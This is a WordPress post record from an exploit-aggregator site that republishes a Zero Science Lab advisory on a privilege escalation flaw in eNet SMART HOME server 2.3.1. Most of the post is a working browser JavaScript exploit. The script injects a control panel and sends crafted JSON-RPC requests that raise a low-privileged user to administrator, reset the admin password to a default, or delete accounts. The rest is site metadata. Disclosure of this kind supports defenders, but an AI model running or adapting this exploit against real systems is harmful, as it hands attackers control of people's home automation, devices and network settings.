{"id":40930,"date":"2026-02-14T21:50:15","date_gmt":"2026-02-14T21:50:15","guid":{"rendered":"http:\/\/localhost\/?p=40930"},"modified":"2026-02-14T21:50:15","modified_gmt":"2026-02-14T21:50:15","slug":"enet-smart-home-server-231-setusergroup-remote-privilege-escalation","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40930","title":{"rendered":"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975"},"content":{"rendered":"

{“lastseen”:”2026-02-15T03:15:16″,”description”:”Title: eNet SMART HOME server 2.3.1 setUserGroup Remote Privilege Escalation Advisory ID: ZSL-2026-5975 Type: Local\/Remote Impact: Privilege Escalation, Security Bypass Risk: 4\/5 Release Date: 14.02.2026 Summary Two German specialists in building…”,”published”:”2026-02-14T00:00:00″,”modified”:”2026-02-14T00:00:00″,”type”:”zeroscience”,”title”:”eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation”,”source”:””,”references”:””,”id”:”ZSL-2026-5975″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003e\/*\\r\\n\\r\\neNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation\\r\\n\\r\\n\\r\\nVendor: Gira Giersiepen GmbH \\u0026amp; Co. KG | ALBRECHT JUNG GmbH \\u0026amp; Co. KG | Insta GmbH\\r\\nProduct web page: https:\/\/www.enet-smarthome.com\\r\\nAffected version: 2.3.1 (46841)\\r\\n 2.2.1 (46056)\\r\\n\\r\\nSummary: Two German specialists in building systems technology are jointly bringing\\r\\na new, wireless-based smart home system to the market. Gira and JUNG are the companies\\r\\nbehind the eNet SMART HOME brand with our subsidiary, INSTA, responsible for developing\\r\\nthe system. All three of us are old hands when it comes to building automation, and\\r\\nhave a history of connecting buildings in an intelligent way that goes back as far as\\r\\nthe 80s. Gira, JUNG and INSTA were part of the group of companies that initiated and\\r\\nfounded EIBA (now known as KNX). KNX is the first open global standard for home and\\r\\nbuilding automation. Through KNX, we have decisively shaped the development of intelligent\\r\\nbuilding systems technology \u2013 and this wealth of experience has now come together in\\r\\neNet SMART HOME. The eNet server is the heart of every eNet SMART HOME system and\\r\\noffers end customers the basis for an easy-to-use and secure Smart Home and installation\\r\\nengineers easily understandable and professional commissioning of the system.\\r\\n\\r\\nDesc: The eNet Smart Home system suffers from a privilege escalation vulnerability due\\r\\nto insufficient authorization checks in the JSON-RPC endpoint for user management. A\\r\\nlow-privileged user, can exploit the \\”setUserGroup\\” method by sending a crafted POST\\r\\nrequest to \/jsonrpc\/management, specifying their own username and elevating it to the\\r\\n\\”UG_ADMIN\\” group. This bypasses intended access controls, granting the attacker administrative\\r\\ncapabilities such as modifying device configurations, network settings, and potentially\\r\\ncompromising the entire smart home ecosystem.\\r\\n\\r\\nTested on: GNU\/Linux 4.4.15 (ARMv7 revision 5)\\r\\n Jetty(9.2.z-SNAPSHOT)\\r\\n\\r\\n\\r\\nVulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\r\\n @zeroscience\\r\\n\\r\\n\\r\\nAdvisory ID: ZSL-2026-5975\\r\\nAdvisory URL: https:\/\/www.zeroscience.mk\/en\/vulnerabilities\/ZSL-2026-5975.php\\r\\n\\r\\n\\r\\n07.02.2026\\r\\n\\r\\n*\/\\r\\n\\r\\n\\r\\nconst existingContainer = document.getElementById(‘exploitSnippet’);\\r\\nif (existingContainer) existingContainer.remove();\\r\\n\\r\\nconst currentProtocol = window.location.protocol.slice(0, -1);\\r\\nconst currentHost = window.location.hostname;\\r\\nconst currentPort = window.location.port || (currentProtocol === ‘https’ ? ‘443’ : ’80’);\\r\\n\\r\\nconst urlParams = new URLSearchParams(window.location.search);\\r\\nlet defaultIcp = urlParams.get(‘icp’) || ”;\\r\\n\\r\\nconst formHtml = `\\r\\n\\u003c\/p\\u003e\\u003cdiv id=\\”exploitSnippet\\” style=\\”position: fixed;\\r\\n bottom: 20px;\\r\\n right: 20px;\\r\\n width: 320px;\\r\\n background: #2f343a;\\r\\n color: #e4e7eb;\\r\\n padding: 20px;\\r\\n border: 1px solid #4a5560;\\r\\n border-radius: 8px;\\r\\n z-index: 9999;\\r\\n overflow-y: auto;\\r\\n max-height: 80vh;\\r\\n font-family: Arial, sans-serif;\\r\\n font-size: 14px;\\”\\u003e\\n\\u003ch3 style=\\”margin-top: 0;\\r\\n color: #cfd8e3;\\”\\u003e\\r\\n eNet SMART HOME – DRE Exploit\\r\\n \\u003c\/h3\\u003e\\n\\u003clabel\\u003eProtocol:\\u003c\/label\\u003e\\n\\u003cselect id=\\”protocol\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\”\\u003e\\n\\u003coption :=\\”\\” value=\\”https\\”\\u003e\\r\\n https:\/\/\\r\\n \\u003c\/option\\u003e\\n\\u003coption :=\\”\\” value=\\”http\\”\\u003e\\r\\n http:\/\/\\r\\n \\u003c\/option\\u003e\\n\\u003c\/select\\u003e\\n\\u003clabel\\u003eHost\/IP:\\u003c\/label\\u003e\\n\\u003cinput id=\\”host\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”${currentHost}\\”\/\\u003e\\n\\u003clabel\\u003ePort:\\u003c\/label\\u003e\\n\\u003cinput id=\\”port\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”${currentPort}\\”\/\\u003e\\n\\u003clabel\\u003eICP:\\u003c\/label\\u003e\\n\\u003cinput id=\\”icp\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”${defaultIcp}\\”\/\\u003e\\n\\u003clabel\\u003eAction:\\u003c\/label\\u003e\\n\\u003cselect id=\\”action\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\”\\u003e\\n\\u003coption value=\\”elevate\\”\\u003eElevate Privileges\\u003c\/option\\u003e\\n\\u003coption value=\\”reset\\”\\u003eReset Password\\u003c\/option\\u003e\\n\\u003coption value=\\”delete\\”\\u003eDelete User\\u003c\/option\\u003e\\n\\u003c\/select\\u003e\\n\\u003cdiv id=\\”elevateFields\\”\\u003e\\n\\u003clabel\\u003eUser Name:\\u003c\/label\\u003e\\n\\u003cinput id=\\”userName\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”zeroscience\\”\/\\u003e\\n\\u003clabel\\u003eUser Group:\\u003c\/label\\u003e\\n\\u003cselect id=\\”userGroup\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\”\\u003e\\n\\u003coption value=\\”UG_USER\\”\\u003eUG_USER (lower privs)\\u003c\/option\\u003e\\n\\u003coption value=\\”UG_ADMIN\\”\\u003eUG_ADMIN\\u003c\/option\\u003e\\n\\u003c\/select\\u003e\\n\\u003c\/div\\u003e\\n\\u003cdiv id=\\”resetFields\\” style=\\”display: none;\\”\\u003e\\n\\u003clabel\\u003eUser Name:\\u003c\/label\\u003e\\n\\u003cinput id=\\”resetUserName\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”admin\\”\/\\u003e\\n\\u003clabel\\u003eDefault Password:\\u003c\/label\\u003e\\n\\u003cinput id=\\”defaultPassword\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”12345678\\”\/\\u003e\\n\\u003c\/div\\u003e\\n\\u003cdiv id=\\”deleteFields\\” style=\\”display: none;\\”\\u003e\\n\\u003clabel\\u003eUser Name:\\u003c\/label\\u003e\\n\\u003cinput id=\\”deleteUserName\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”zeroscience\\”\/\\u003e\\n\\u003c\/div\\u003e\\n\\u003clabel\\u003eRequest ID:\\u003c\/label\\u003e\\n\\u003cinput id=\\”requestId\\” style=\\”width: 100%;\\r\\n margin-bottom: 12px;\\r\\n background: #3b4148;\\r\\n color: #e4e7eb;\\r\\n border: 1px solid #56606b;\\r\\n border-radius: 4px;\\r\\n padding: 6px;\\” type=\\”text\\” value=\\”14\\”\/\\u003e\\n\\u003cbutton id=\\”runButton\\” style=\\”background: #3a6ea5;\\r\\n color: #ffffff;\\r\\n border: 1px solid #2e5d8c;\\r\\n padding: 8px 16px;\\r\\n border-radius: 4px;\\r\\n cursor: pointer;\\r\\n margin-right: 10px;\\” type=\\”button\\”\\u003e\\r\\n RUN\\r\\n \\u003c\/button\\u003e\\n\\u003cbutton id=\\”closeButton\\” style=\\”background: #5c6773;\\r\\n color: #ffffff;\\r\\n border: 1px solid #49525c;\\r\\n padding: 8px 16px;\\r\\n border-radius: 4px;\\r\\n cursor: pointer;\\” type=\\”button\\”\\u003e\\r\\n Close\\r\\n \\u003c\/button\\u003e\\n\\u003cdiv id=\\”responseOutput\\” style=\\”margin-top: 12px;\\r\\n white-space: pre-wrap;\\r\\n background: #252a30;\\r\\n color: #d6dde5;\\r\\n padding: 10px;\\r\\n border: 1px solid #4a5560;\\r\\n border-radius: 4px;\\r\\n max-height: 200px;\\r\\n overflow-y: auto;\\”\\u003e\\n\\u003c\/div\\u003e\\n\\u003c\/div\\u003e\\r\\n`;\\r\\n\\r\\ndocument.body.insertAdjacentHTML(‘beforeend’, formHtml);\\r\\n\\r\\nconst actionSelect = document.getElementById(‘action’);\\r\\nconst runButton = document.getElementById(‘runButton’);\\r\\nconst closeButton = document.getElementById(‘closeButton’);\\r\\nconst responseOutput = document.getElementById(‘responseOutput’);\\r\\nconst elevateFields = document.getElementById(‘elevateFields’);\\r\\nconst resetFields = document.getElementById(‘resetFields’);\\r\\nconst deleteFields = document.getElementById(‘deleteFields’);\\r\\nconst requestIdInput = document.getElementById(‘requestId’);\\r\\n\\r\\nconst updateFields = (value) =\\u0026gt; {\\r\\n elevateFields.style.display = value === ‘elevate’ ? ‘block’ : ‘none’;\\r\\n resetFields.style.display = value === ‘reset’ ? ‘block’ : ‘none’;\\r\\n deleteFields.style.display = value === ‘delete’ ? ‘block’ : ‘none’;\\r\\n \\r\\n let defaultId = ’14’;\\r\\n if (value === ‘reset’) defaultId = ’15’;\\r\\n if (value === ‘delete’) defaultId = ‘6’;\\r\\n requestIdInput.value = defaultId;\\r\\n};\\r\\n\\r\\nactionSelect.addEventListener(‘change’, (e) =\\u0026gt; updateFields(e.target.value));\\r\\n\\r\\nupdateFields(actionSelect.value);\\r\\n\\r\\nrunButton.addEventListener(‘click’, () =\\u0026gt; {\\r\\n const protocol = document.getElementById(‘protocol’).value;\\r\\n const host = document.getElementById(‘host’).value;\\r\\n const port = document.getElementById(‘port’).value;\\r\\n const icp = document.getElementById(‘icp’).value;\\r\\n const action = actionSelect.value;\\r\\n const requestId = requestIdInput.value;\\r\\n\\r\\n if (!icp) {\\r\\n responseOutput.textContent = ‘Error: ICP is required.’;\\r\\n console.error(‘ICP is required.’);\\r\\n return;\\r\\n }\\r\\n\\r\\n responseOutput.textContent = ‘Loading…’;\\r\\n\\r\\n let method, params;\\r\\n if (action === ‘elevate’) {\\r\\n method = ‘setUserGroup’;\\r\\n params = {\\r\\n userName: document.getElementById(‘userName’).value,\\r\\n userGroup: document.getElementById(‘userGroup’).value\\r\\n };\\r\\n } else if (action === ‘reset’) {\\r\\n method = ‘resetUserPassword’;\\r\\n params = {\\r\\n userName: document.getElementById(‘resetUserName’).value,\\r\\n defaultPassword: document.getElementById(‘defaultPassword’).value\\r\\n };\\r\\n } else if (action === ‘delete’) {\\r\\n method = ‘deleteUserAccount’;\\r\\n params = {\\r\\n userName: document.getElementById(‘deleteUserName’).value\\r\\n };\\r\\n }\\r\\n\\r\\n const baseUrl = `${protocol}:\/\/${host}:${port}`;\\r\\n const customReferer = `${baseUrl}\/serverconfiguration.html?icp=${icp}#Usermanagement`;\\r\\n const fetchUrl = `${baseUrl}\/jsonrpc\/management`;\\r\\n\\r\\n const body = JSON.stringify({\\r\\n \\”jsonrpc\\”: \\”2.0\\”,\\r\\n \\”method\\”: method,\\r\\n \\”params\\”: params,\\r\\n \\”id\\”: requestId\\r\\n });\\r\\n\\r\\n console.log(‘Sending request to:’, fetchUrl);\\r\\n console.log(‘With Referer:’, customReferer);\\r\\n console.log(‘Body:’, body);\\r\\n\\r\\n const timeoutPromise = new Promise((_, reject) =\\u0026gt; \\r\\n setTimeout(() =\\u0026gt; reject(new Error(‘Request timed out’)), 10000)\\r\\n );\\r\\n\\r\\n Promise.race([timeoutPromise, fetch(fetchUrl, {\\r\\n method: ‘POST’,\\r\\n headers: {\\r\\n ‘Content-Type’: ‘application\/json; charset=utf-8’,\\r\\n ‘Accept-Encoding’: ‘gzip, deflate, br’,\\r\\n ‘Accept-Language’: ‘ku-MK,ku;j=1.7’,\\r\\n ‘Accept’: ‘*\/*’\\r\\n },\\r\\n body: body,\\r\\n credentials: ‘include’,\\r\\n referrer: customReferer,\\r\\n referrerPolicy: ‘unsafe-url’\\r\\n })])\\r\\n .then(response =\\u0026gt; {\\r\\n if (response instanceof Error) throw response;\\r\\n console.log(‘Response status:’, response.status);\\r\\n if (!response.ok) {\\r\\n throw new Error(`HTTP error! Status: ${response.status}`);\\r\\n }\\r\\n return response.json();\\r\\n })\\r\\n .then(data =\\u0026gt; {\\r\\n const successMsg = `Success: ${JSON.stringify(data, null, 2)}`;\\r\\n responseOutput.textContent = successMsg;\\r\\n console.log(successMsg);\\r\\n setTimeout(() =\\u0026gt; location.reload(), 2000);\\r\\n })\\r\\n .catch(error =\\u0026gt; {\\r\\n const errorMsg = `Error: ${error.message}`;\\r\\n responseOutput.textContent = errorMsg;\\r\\n console.error(errorMsg);\\r\\n });\\r\\n});\\r\\n\\r\\ncloseButton.addEventListener(‘click’, () =\\u0026gt; {\\r\\n console.log(‘Closing form…’);\\r\\n const container = document.getElementById(‘exploitSnippet’);\\r\\n if (container) {\\r\\n container.remove();\\r\\n console.log(‘Form closed.’);\\r\\n } else {\\r\\n console.log(‘Form not found.’);\\r\\n }\\r\\n});\\r\\n\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”http:\/\/zeroscience.mk\/codes\/enet_privs.txt”,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”http:\/\/zeroscience.mk\/en\/vulnerabilities\/ZSL-2026-5975.php”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"

{“lastseen”:”2026-02-15T03:15:16″,”description”:”Title: eNet SMART HOME server 2.3.1 setUserGroup Remote Privilege Escalation Advisory ID: ZSL-2026-5975 Type: Local\/Remote Impact: Privilege Escalation, Security Bypass Risk: 4\/5 Release Date: 14.02.2026…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,7,11,5,107],"class_list":["post-40930","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\neNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40930\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{“lastseen”:”2026-02-15T03:15:16″,”description”:”Title: eNet SMART HOME server 2.3.1 setUserGroup Remote Privilege Escalation Advisory ID: ZSL-2026-5975 Type: Local\/Remote Impact: Privilege Escalation, Security Bypass Risk: 4\/5 Release Date: 14.02.2026...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40930\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-14T21:50:15+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975\",\"datePublished\":\"2026-02-14T21:50:15+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930\"},\"wordCount\":2202,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\",\"zeroscience\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40930#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930\",\"name\":\"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-14T21:50:15+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40930\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40930#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40930","og_locale":"en_US","og_type":"article","og_title":"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975 - zero redgem","og_description":"{“lastseen”:”2026-02-15T03:15:16″,”description”:”Title: eNet SMART HOME server 2.3.1 setUserGroup Remote Privilege Escalation Advisory ID: ZSL-2026-5975 Type: Local\/Remote Impact: Privilege Escalation, Security Bypass Risk: 4\/5 Release Date: 14.02.2026...","og_url":"https:\/\/zero.redgem.net\/?p=40930","og_site_name":"zero redgem","article_published_time":"2026-02-14T21:50:15+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"11 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40930#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40930"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975","datePublished":"2026-02-14T21:50:15+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40930"},"wordCount":2202,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","Security","tapic","Vulnerability","zeroscience"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40930#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40930","url":"https:\/\/zero.redgem.net\/?p=40930","name":"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-14T21:50:15+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40930#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40930"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40930#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"eNet SMART HOME server 2.3.1 (setUserGroup) Remote Privilege Escalation_ZSL-2026-5975"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40930","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40930"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40930\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40930"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40930"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40930"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}